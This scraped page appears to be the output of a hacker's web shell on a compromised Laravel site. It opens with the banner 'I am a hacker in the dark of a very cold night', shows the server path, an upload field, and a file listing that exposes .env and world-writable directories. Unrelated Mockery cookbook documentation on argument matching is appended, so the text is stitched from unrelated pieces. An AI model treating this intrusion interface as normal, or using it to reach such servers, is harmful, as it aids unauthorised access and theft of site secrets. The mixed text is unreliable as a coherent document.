I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
.. index:: single: Cookbook; Complex Argument Matching With Mockery::on Complex Argument Matching With Mockery::on ========================================== When we need to do a more complex argument matching for an expected method call, the ``\Mockery::on()`` matcher comes in really handy. It accepts a closure as an argument and that closure in turn receives the argument passed in to the method, when called. If the closure returns ``true``, Mockery will consider that the argument has passed the expectation. If the closure returns ``false``, or a "falsey" value, the expectation will not pass. The ``\Mockery::on()`` matcher can be used in various scenarios — validating an array argument based on multiple keys and values, complex string matching... Say, for example, we have the following code. It doesn't do much; publishes a post by setting the ``published`` flag in the database to ``1`` and sets the ``published_at`` to the current date and time: .. code-block:: php model = $model; } public function publishPost($id) { $saveData = [ 'post_id' => $id, 'published' => 1, 'published_at' => gmdate('Y-m-d H:i:s'), ]; $this->model->save($saveData); } } In a test we would mock the model and set some expectations on the call of the ``save()`` method: .. code-block:: php shouldReceive('save') ->once() ->with(\Mockery::on(function ($argument) use ($postId) { $postIdIsSet = isset($argument['post_id']) && $argument['post_id'] === $postId; $publishedFlagIsSet = isset($argument['published']) && $argument['published'] === 1; $publishedAtIsSet = isset($argument['published_at']); return $postIdIsSet && $publishedFlagIsSet && $publishedAtIsSet; })); $service = new \Service\Post($modelMock); $service->publishPost($postId); \Mockery::close(); The important part of the example is inside the closure we pass to the ``\Mockery::on()`` matcher. The ``$argument`` is actually the ``$saveData`` argument the ``save()`` method gets when it is called. We check for a couple of things in this argument: * the post ID is set, and is same as the post ID we passed in to the ``publishPost()`` method, * the ``published`` flag is set, and is ``1``, and * the ``published_at`` key is present. If any of these requirements is not satisfied, the closure will return ``false``, the method call expectation will not be met, and Mockery will throw a ``NoMatchingExpectationException``. .. note:: This cookbook entry is an adaption of the blog post titled `"Complex argument matching in Mockery" `_, published by Robert Basic on his blog.